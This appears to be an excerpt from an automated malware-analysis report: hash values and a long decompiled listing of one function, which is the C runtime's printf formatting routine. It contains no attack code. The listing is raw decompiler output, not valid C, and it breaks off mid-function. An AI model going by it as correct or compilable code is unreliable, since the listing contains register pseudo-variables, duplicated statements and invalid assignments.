Opcode Fuzzy Hash: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction Fuzzy Hash: E2412AB1E101299FDB24CF48C881BAEB7B5FF89314F10519AD148BB241C778AE81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00427D2D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427D2D() {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t545;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t605;
				signed int _t613;
				signed int _t615;
				signed int _t617;
				signed int _t624;
				signed int _t628;
				signed int _t665;
				signed int _t668;
				void* _t670;

				L0:
				while(1) {
					L0:
					 *(_t668 - 8) = 8;
					if(( *(_t668 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L144:
						__eflags =  *(_t668 - 0x10) & 0x00008000;
						if(( *(_t668 - 0x10) & 0x00008000) == 0) {
							_t615 =  *(_t668 - 0x10) & 0x00001000;
							__eflags = _t615;
							if(_t615 == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00000020;
								if(( *(_t668 - 0x10) & 0x00000020) == 0) {
									_t617 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t617;
									if(_t617 == 0) {
										_t476 = E00428310(_t668 + 0x14);
										_t670 = _t670 + 4;
										__eflags = 0;
										 *(_t668 - 0x2b0) = _t476;
										 *(_t668 - 0x2ac) = 0;
									} else {
										_t549 = E00428310(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t549;
										 *(_t668 - 0x2ac) = _t617;
									}
								} else {
									_t665 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t665;
									if(_t665 == 0) {
										_t550 = E00428310(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
										 *(_t668 - 0x2ac) = _t665;
									} else {
										_t553 = E00428310(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t553;
										 *(_t668 - 0x2ac) = _t665;
									}
								}
							} else {
								_t556 = E00428330(_t668 + 0x14);
								_t670 = _t670 + 4;
								 *(_t668 - 0x2b0) = _t556;
								 *(_t668 - 0x2ac) = _t615;
							}
						} else {
							_t557 = E00428330(_t668 + 0x14);
							_t670 = _t670 + 4;
							 *(_t668 - 0x2b0) = _t557;
							 *(_t668 - 0x2ac) = _t613;
						}
						__eflags =  *(_t668 - 0x10) & 0x00000040;
						if(( *(_t668 - 0x10) & 0x00000040) == 0) {
							goto L161;
						}
						L157:
						__eflags =  *(_t668 - 0x2ac);
						if(__eflags > 0) {
							goto L161;
						}
						L158:
						if(__eflags < 0) {
							L160:
							asm("adc edx, 0x0");
							 *(_t668 - 0x2b8) =  ~( *(_t668 - 0x2b0));
							 *(_t668 - 0x2b4) =  ~( *(_t668 - 0x2ac));
							 *(_t668 - 0x10) =  *(_t668 - 0x10) | 0x00000100;
							L162:
							__eflags =  *(_t668 - 0x10) & 0x00008000;
							if(( *(_t668 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00001000;
								if(( *(_t668 - 0x10) & 0x00001000) == 0) {
									_t545 =  *(_t668 - 0x2b4) & 0x00000000;
									__eflags = _t545;
									 *(_t668 - 0x2b4) = _t545;
								}
							}
							__eflags =  *(_t668 - 0x30);
							if( *(_t668 - 0x30) >= 0) {
								 *(_t668 - 0x10) =  *(_t668 - 0x10) & 0xfffffff7;
								__eflags =  *(_t668 - 0x30) - 0x200;
								if( *(_t668 - 0x30) > 0x200) {
									 *(_t668 - 0x30) = 0x200;
								}
							} else {
								 *(_t668 - 0x30) = 1;
							}
							__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
							if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
								 *(_t668 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t668 - 4)) = _t668 - 0x49;
							while(1) {
								L172:
								_t623 =  *(_t668 - 0x30) - 1;
								 *(_t668 - 0x30) =  *(_t668 - 0x30) - 1;
								__eflags =  *(_t668 - 0x30);
								if( *(_t668 - 0x30) > 0) {
									goto L174;
								}
								L173:
								__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
								if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
									L177:
									 *(_t668 - 0x24) = _t668 - 0x49 -  *((intOrPtr*)(_t668 - 4));
									 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) + 1;
									__eflags =  *(_t668 - 0x10) & 0x00000200;
									if(( *(_t668 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L181:
											__eflags =  *(_t668 - 0x28);
											if( *(_t668 - 0x28) != 0) {
												goto L207;
											}
											L182:
											__eflags =  *(_t668 - 0x10) & 0x00000040;
											if(( *(_t668 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000100;
												if(( *(_t668 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000001;
													if(( *(_t668 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t668 - 0x10) & 0x00000002;
														if(( *(_t668 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t668 - 0x14)) = 0x20;
															 *(_t668 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t668 - 0x14)) = 0x2b;
														 *(_t668 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t668 - 0x14)) = 0x2d;
													 *(_t668 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t668 - 0x2bc)) =  *((intOrPtr*)(_t668 - 0x18)) -  *(_t668 - 0x24) -  *(_t668 - 0x1c);
											__eflags =  *(_t668 - 0x10) & 0x0000000c;
											if(( *(_t668 - 0x10) & 0x0000000c) == 0) {
												E004356D0(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
											}
											E00435710( *(_t668 - 0x1c), _t668 - 0x14,  *(_t668 - 0x1c),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
											_t670 = _t670 + 0x10;
											__eflags =  *(_t668 - 0x10) & 0x00000008;
											if(( *(_t668 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000004;
												if(( *(_t668 - 0x10) & 0x00000004) == 0) {
													E004356D0(0x30,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
													_t670 = _t670 + 0x10;
												}
											}
											__eflags =  *(_t668 - 0xc);
											if( *(_t668 - 0xc) == 0) {
												L203:
												E00435710( *((intOrPtr*)(_t668 - 4)),  *((intOrPtr*)(_t668 - 4)),  *(_t668 - 0x24),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
												goto L204;
											} else {
												L195:
												__eflags =  *(_t668 - 0x24);
												if( *(_t668 - 0x24) <= 0) {
													goto L203;
												}
												L196:
												 *(_t668 - 0x2d4) = 0;
												 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 4));
												 *(_t668 - 0x2c4) =  *(_t668 - 0x24);
												while(1) {
													L197:
													 *(_t668 - 0x2c4) =  *(_t668 - 0x2c4) - 1;
													__eflags =  *(_t668 - 0x2c4);
													if( *(_t668 - 0x2c4) == 0) {
														break;
													}
													L198:
													 *(_t668 - 0x316) =  *((intOrPtr*)( *((intOrPtr*)(_t668 - 0x2c0))));
													_t532 = E004341E0(_t668 - 0x2c8, _t668 - 0x2d0, 6,  *(_t668 - 0x316) & 0x0000ffff);
													_t670 = _t670 + 0x10;
													 *(_t668 - 0x2d4) = _t532;
													 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 0x2c0)) + 2;
													__eflags =  *(_t668 - 0x2d4);
													if( *(_t668 - 0x2d4) != 0) {
														L200:
														 *(_t668 - 0x24c) = 0xffffffff;
														break;
													}
													L199:
													__eflags =  *(_t668 - 0x2c8);
													if( *(_t668 - 0x2c8) != 0) {
														L201:
														E00435710( *((intOrPtr*)(_t668 + 8)), _t668 - 0x2d0,  *(_t668 - 0x2c8),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
														continue;
													}
													goto L200;
												}
												L202:
												L204:
												__eflags =  *(_t668 - 0x24c);
												if( *(_t668 - 0x24c) >= 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000004;
													if(( *(_t668 - 0x10) & 0x00000004) != 0) {
														E004356D0(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
													}
												}
											}
											L207:
											__eflags =  *(_t668 - 0x20);
											if( *(_t668 - 0x20) != 0) {
												L0041C4F0( *(_t668 - 0x20), 2);
												_t670 = _t670 + 8;
												 *(_t668 - 0x20) = 0;
											}
											while(1) {
												L209:
												 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
												 *((intOrPtr*)(_t668 + 0xc)) =  *((intOrPtr*)(_t668 + 0xc)) + 1;
												if( *(_t668 - 0x251) == 0 ||  *(_t668 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t668 - 0x251) < 0x20 ||  *(_t668 - 0x251) > 0x78) {
														 *(_t668 - 0x2fc) = 0;
													} else {
														 *(_t668 - 0x2fc) =  *( *(_t668 - 0x251) + 0x404460) & 0x0000000f;
													}
												}
												L7:
												 *(_t668 - 0x250) =  *(_t668 - 0x2fc);
												_t20 =  *(_t668 - 0x250) * 8; // 0x6000006
												 *(_t668 - 0x25c) =  *( *(_t668 - 0x25c) + _t20 + 0x404480) >> 4;
												 *(_t668 - 0x300) =  *(_t668 - 0x25c);
												if( *(_t668 - 0x300) > 7) {
													continue;
												}
												L8:
												switch( *((intOrPtr*)( *(_t668 - 0x300) * 4 +  &M00428208))) {
													case 0:
														L9:
														 *(_t668 - 0xc) = 0;
														_t502 = E004311D0( *(_t668 - 0x251) & 0x000000ff, E0041AE00(_t668 - 0x40));
														_t672 = _t670 + 8;
														if(_t502 == 0) {
															L15:
															E00435630( *(_t668 - 0x251) & 0x000000ff,  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t670 = _t672 + 0xc;
															goto L209;
														} else {
															E00435630( *((intOrPtr*)(_t668 + 8)),  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t672 = _t672 + 0xc;
															_t584 =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															_t631 =  *((intOrPtr*)(_t668 + 0xc)) + 1;
															 *((intOrPtr*)(_t668 + 0xc)) = _t631;
															asm("sbb eax, eax");
															 *(_t668 - 0x278) =  ~( ~( *(_t668 - 0x251)));
															if(_t631 == 0) {
																_push(L"(ch != _T(\'\\0\'))");
																_push(0);
																_push(0x486);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t514 = L0041E330();
																_t672 = _t672 + 0x14;
																if(_t514 == 1) {
																	asm("int3");
																}
															}
															L13:
															if( *(_t668 - 0x278) != 0) {
																goto L15;
															} else {
																 *((intOrPtr*)(L00422E20(_t584))) = 0x16;
																E00422BB0(_t558, _t584, _t666, _t667, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																 *(_t668 - 0x2e4) = 0xffffffff;
																E0041ADD0(_t668 - 0x40);
																_t497 =  *(_t668 - 0x2e4);
																goto L211;
															}
														}
													case 1:
														L16:
														 *(__ebp - 0x2c) = 0;
														__edx =  *(__ebp - 0x2c);
														 *(__ebp - 0x28) =  *(__ebp - 0x2c);
														__eax =  *(__ebp - 0x28);
														 *(__ebp - 0x18) =  *(__ebp - 0x28);
														__ecx =  *(__ebp - 0x18);
														 *(__ebp - 0x1c) = __ecx;
														 *(__ebp - 0x10) = 0;
														 *(__ebp - 0x30) = 0xffffffff;
														 *(__ebp - 0xc) = 0;
														goto L209;
													case 2:
														L17:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														__eflags =  *(__ebp - 0x304) - 0x10;
														if( *(__ebp - 0x304) > 0x10) {
															goto L24;
														}
														L18:
														__ecx =  *(__ebp - 0x304);
														_t64 = __ecx + 0x428240; // 0x498d04
														__edx =  *_t64 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t64 & 0x000000ff) * 4 +  &M00428228))) {
															case 0:
																goto L21;
															case 1:
																goto L22;
															case 2:
																goto L20;
															case 3:
																goto L19;
															case 4:
																goto L23;
															case 5:
																goto L24;
														}
													case 3:
														L25:
														__edx =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__eax =  *(__ebp - 0x18);
															__eax =  *(__ebp - 0x18) * 0xa;
															__eflags = __eax;
															__ecx =  *((char*)(__ebp - 0x251));
															_t88 = __ecx - 0x30; // -48
															__edx = __eax + _t88;
															 *(__ebp - 0x18) = __eax + _t88;
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
															__eflags =  *(__ebp - 0x18);
															if( *(__ebp - 0x18) < 0) {
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000004;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
															}
														}
														L30:
														goto L209;
													case 4:
														L31:
														 *(__ebp - 0x30) = 0;
														goto L209;
													case 5:
														L32:
														__eax =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__edx =  *(__ebp - 0x30);
															__edx =  *(__ebp - 0x30) * 0xa;
															__eflags = __edx;
															_t99 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
															__ecx = __edx + _t99;
															 *(__ebp - 0x30) = __ecx;
														} else {
															__ecx = __ebp + 0x14;
															 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) < 0) {
																 *(__ebp - 0x30) = 0xffffffff;
															}
														}
														goto L209;
													case 6:
														L38:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														__eflags =  *(__ebp - 0x308) - 0x2e;
														if( *(__ebp - 0x308) > 0x2e) {
															L61:
															goto L209;
														}
														L39:
														__ecx =  *(__ebp - 0x308);
														_t107 = __ecx + 0x428268; // 0x7b1f9003
														__edx =  *_t107 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t107 & 0x000000ff) * 4 +  &M00428254))) {
															case 0:
																L44:
																__edx =  *(__ebp + 0xc);
																__eax =  *( *(__ebp + 0xc));
																__eflags =  *( *(__ebp + 0xc)) - 0x36;
																if( *( *(__ebp + 0xc)) != 0x36) {
																	L47:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x33;
																	if( *( *(__ebp + 0xc)) != 0x33) {
																		L50:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x64;
																		if( *( *(__ebp + 0xc)) == 0x64) {
																			L56:
																			L58:
																			goto L61;
																		}
																		L51:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x69;
																		if( *__ecx == 0x69) {
																			goto L56;
																		}
																		L52:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6f;
																		if(__ecx == 0x6f) {
																			goto L56;
																		}
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x75;
																		if( *( *(__ebp + 0xc)) == 0x75) {
																			goto L56;
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x78;
																		if( *__ecx == 0x78) {
																			goto L56;
																		}
																		L55:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x58;
																		if(__ecx != 0x58) {
																			 *(__ebp - 0x25c) = 0;
																			goto L9;
																		}
																		goto L56;
																	}
																	L48:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x32;
																	if( *((char*)(__ecx + 1)) != 0x32) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																}
																L45:
																__ecx =  *(__ebp + 0xc);
																__edx =  *((char*)(__ecx + 1));
																__eflags =  *((char*)(__ecx + 1)) - 0x34;
																if( *((char*)(__ecx + 1)) != 0x34) {
																	goto L47;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00008000;
																	 *(__ebp - 0x10) = __ecx;
																	goto L58;
																}
															case 1:
																L59:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																goto L61;
															case 2:
																L40:
																__eax =  *(__ebp + 0xc);
																__ecx =  *( *(__ebp + 0xc));
																__eflags = __ecx - 0x6c;
																if(__ecx != 0x6c) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000010;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																}
																goto L61;
															case 3:
																L60:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000800;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L61;
															case 4:
																goto L61;
														}
													case 7:
														L62:
														__ecx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x30c) = __ecx;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														__eflags =  *(__ebp - 0x30c) - 0x37;
														if( *(__ebp - 0x30c) > 0x37) {
															while(1) {
																L181:
																__eflags =  *(_t668 - 0x28);
																if( *(_t668 - 0x28) != 0) {
																	goto L207;
																}
																goto L182;
															}
														}
														L63:
														_t148 =  *(__ebp - 0x30c) + 0x4282d4; // 0xcccccc0d
														__ecx =  *_t148 & 0x000000ff;
														switch( *((intOrPtr*)(__ecx * 4 +  &M00428298))) {
															case 0:
																L114:
																 *(__ebp - 0x2c) = 1;
																__ecx =  *((char*)(__ebp - 0x251));
																__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																__eflags = __ecx;
																 *((char*)(__ebp - 0x251)) = __cl;
																goto L115;
															case 1:
																L64:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																}
																goto L66;
															case 2:
																L79:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																}
																goto L81;
															case 3:
																L138:
																 *(__ebp - 0x260) = 7;
																goto L140;
															case 4:
																L72:
																__eax = __ebp + 0x14;
																 *(__ebp - 0x284) = E00428310(__ebp + 0x14);
																__eflags =  *(__ebp - 0x284);
																if( *(__ebp - 0x284) == 0) {
																	L74:
																	__edx =  *0x440f80; // 0x404478
																	 *(__ebp - 4) = __edx;
																	__eax =  *(__ebp - 4);
																	 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																	L78:
																	goto L181;
																}
																L73:
																__ecx =  *(__ebp - 0x284);
																__eflags =  *(__ecx + 4);
																if( *(__ecx + 4) != 0) {
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																	__eflags =  *(__ebp - 0x10) & 0x00000800;
																	if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																		 *(__ebp - 0xc) = 0;
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__edx =  *__ecx;
																		 *(__ebp - 0x24) =  *__ecx;
																	} else {
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__eax =  *__ecx;
																		asm("cdq");
																		 *__ecx - __edx =  *__ecx - __edx >> 1;
																		 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																		 *(__ebp - 0xc) = 1;
																	}
																	goto L78;
																}
																goto L74;
															case 5:
																L115:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																__eax = __ebp - 0x248;
																 *(__ebp - 4) = __ebp - 0x248;
																 *(__ebp - 0x44) = 0x200;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) >= 0) {
																	L117:
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) != 0) {
																		L120:
																		__eflags =  *(__ebp - 0x30) - 0x200;
																		if( *(__ebp - 0x30) > 0x200) {
																			 *(__ebp - 0x30) = 0x200;
																		}
																		L122:
																		__eflags =  *(__ebp - 0x30) - 0xa3;
																		if( *(__ebp - 0x30) > 0xa3) {
																			 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																			 *(__ebp - 0x20) = L0041B870(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																			__eflags =  *(__ebp - 0x20);
																			if( *(__ebp - 0x20) == 0) {
																				 *(__ebp - 0x30) = 0xa3;
																			} else {
																				__eax =  *(__ebp - 0x20);
																				 *(__ebp - 4) =  *(__ebp - 0x20);
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																			}
																		}
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		__eax =  *(__ebp + 0x14);
																		_t275 = __eax - 8; // 0xe852f855
																		__ecx =  *_t275;
																		_t276 = __eax - 4; // 0xbc20
																		__edx =  *_t276;
																		 *(__ebp - 0x2a0) =  *_t275;
																		 *(__ebp - 0x29c) =  *_t276;
																		__ecx = __ebp - 0x40;
																		_push(E0041AE00(__ebp - 0x40));
																		__eax =  *(__ebp - 0x2c);
																		_push( *(__ebp - 0x2c));
																		__ecx =  *(__ebp - 0x30);
																		_push( *(__ebp - 0x30));
																		__edx =  *((char*)(__ebp - 0x251));
																		_push( *((char*)(__ebp - 0x251)));
																		__eax =  *(__ebp - 0x44);
																		_push( *(__ebp - 0x44));
																		__ecx =  *(__ebp - 4);
																		_push( *(__ebp - 4));
																		__edx = __ebp - 0x2a0;
																		_push(__ebp - 0x2a0);
																		__eax =  *0x440374; // 0xf9b80f80
																		__eax =  *__eax();
																		__esp = __esp + 0x1c;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041AE00(__ebp - 0x40));
																				__edx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__eax =  *0x440380; // 0xfe6faf80
																				__eax =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																		if( *((char*)(__ebp - 0x251)) == 0x67) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041AE00(__ebp - 0x40));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx =  *0x44037c; // 0xfe6d6f80
																				E00424670(__ecx) =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__edx =  *(__ebp - 4);
																		__eax =  *( *(__ebp - 4));
																		__eflags =  *( *(__ebp - 4)) - 0x2d;
																		if( *( *(__ebp - 4)) == 0x2d) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			__edx =  *(__ebp - 4);
																			__edx =  *(__ebp - 4) + 1;
																			__eflags = __edx;
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																		do {
																			L181:
																			__eflags =  *(_t668 - 0x28);
																			if( *(_t668 - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		} while ( *(__ebp - 0x30c) > 0x37);
																		goto L63;
																	}
																	L118:
																	__ecx =  *((char*)(__ebp - 0x251));
																	__eflags = __ecx - 0x67;
																	if(__ecx != 0x67) {
																		goto L120;
																	}
																	L119:
																	 *(__ebp - 0x30) = 1;
																	goto L122;
																}
																L116:
																 *(__ebp - 0x30) = 6;
																goto L122;
															case 6:
																L66:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																__eflags =  *(__ebp - 0x10) & 0x00000810;
																if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																	__ebp + 0x14 = E00428310(__ebp + 0x14);
																	 *(__ebp - 0x280) = __ax;
																	__cl =  *(__ebp - 0x280);
																	 *(__ebp - 0x248) = __cl;
																	 *(__ebp - 0x24) = 1;
																} else {
																	 *(__ebp - 0x27c) = 0;
																	__edx = __ebp + 0x14;
																	__eax = E00428350(__ebp + 0x14);
																	 *(__ebp - 0x258) = __ax;
																	__eax =  *(__ebp - 0x258) & 0x0000ffff;
																	__ecx = __ebp - 0x248;
																	__edx = __ebp - 0x24;
																	 *(__ebp - 0x27c) = E004341E0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																	__eflags =  *(__ebp - 0x27c);
																	if( *(__ebp - 0x27c) != 0) {
																		 *(__ebp - 0x28) = 1;
																	}
																}
																__edx = __ebp - 0x248;
																 *(__ebp - 4) = __ebp - 0x248;
																while(1) {
																	L181:
																	__eflags =  *(_t668 - 0x28);
																	if( *(_t668 - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
															case 7:
																L135:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *((intOrPtr*)(__ebp - 8)) = 0xa;
																L144:
																__eflags =  *(_t668 - 0x10) & 0x00008000;
																if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																	_t615 =  *(_t668 - 0x10) & 0x00001000;
																	__eflags = _t615;
																	if(_t615 == 0) {
																		__eflags =  *(_t668 - 0x10) & 0x00000020;
																		if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																			_t617 =  *(_t668 - 0x10) & 0x00000040;
																			__eflags = _t617;
																			if(_t617 == 0) {
